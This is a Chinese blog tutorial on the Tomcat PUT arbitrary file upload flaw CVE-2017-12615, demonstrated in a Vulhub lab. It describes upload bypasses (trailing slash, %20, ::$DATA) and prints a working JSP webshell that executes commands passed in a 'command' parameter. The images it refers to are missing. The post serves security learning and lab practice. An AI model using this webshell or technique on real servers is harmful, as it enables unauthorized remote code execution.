cve-2017-12615 tomcat任意文件上传漏洞详解_永远是少年啊的博客-爱代码爱编程
今天继续给大家介绍渗透测试相关知识,本文主要内容是CVE-2017-12615 Tomcat任意文件上传漏洞详解。
免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!
一、漏洞简介
Tomca的7.0.0 - 7.0.79(7.0.81修复不完全)版本存在一个任意文件上传漏洞,漏洞编号CVE-2017-12615。该漏洞的形成有一部分是因为Tomcat配置不当,启用了PUT的方法(例如将readonly参数由初始值设置为false),这样就会允许未经验证身份的用户上传文件。攻击者就可以利用这一点来上传webshell,导致上传文件中的恶意JSP代码执行。
二、Vulhub漏洞环境启动
接下来,我们就使用Vulhub来快速搭建漏洞环境,Vulhub靶场的下载和安装请参考:Vulhub漏洞靶场搭建和使用。
我们在安装好Vulhub靶场后,执行命令:
docker-compose build
即可远程拉取靶场,该命令执行过程如下所示:
执行结束后如下所示:
靶场拉取完毕后,就可以启动靶场了,靶场启动命令是:
docker-compose up -d
该命令执行结果如下所示:
靶场启动完成后,可以执行命令:
docker-compose config
来查看靶场的配置,该命令执行结果如下所示:
这样,我们就可以看到,我们的靶场已经启动成功,并且开放了8080的端口供我们访问。
三、漏洞实战
接下来,我们就可以进行实战了。
首先,我们先抓取一个访问该站点的数据包,如下所示:
接下来,我们将该数据包发送到Repeater模块,将数据包中的方法改为PUT,并访问的URL改成我们想要上传的文件名称,注意,在这里要在最后加上一个斜杠,否则上传会报错,在数据包的最后,加上PUT的内容,就是我们要上传的文件中的内容,构造完成后的数据包如下所示:
从上图中可以看出,我们发送上传后的数据包后,发现201的回显,这证明我们的文件上传成功!
我们可以访问我们上传后的文件(注意要去掉最后的斜杠),发送可以成功访问,如下所示:
同样的,我们可以把文件名称后的斜杠换成%20或者是::$DATA,可以起到同样的效果,这两种方式的文件上传数据包构建如下所示:
这两种方式上传文件访问(注意以这两种方式访问,需要在后面添加%20或者是::$DATA)结果如下所示:
接下来开始实战,我们把上述简单的测试内容换成JSP的带回显的木马,内容如下所示:
<%
java.io.InputStream is = Runtime.getRuntime()
.exec(request.getParameter("command"))
.getInputStream();
int a = -1;
byte[] b = new byte[2048];
while ((a = is.read(b)) != -1) {
out.print(new String(b));
}
%>
然后将其作为数据包的内容,以同样的方式上传,数据包构造以及上传结果如下所示:
这样,我们就可以通过command参数的控制来执行命令了,结果如下所示:
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200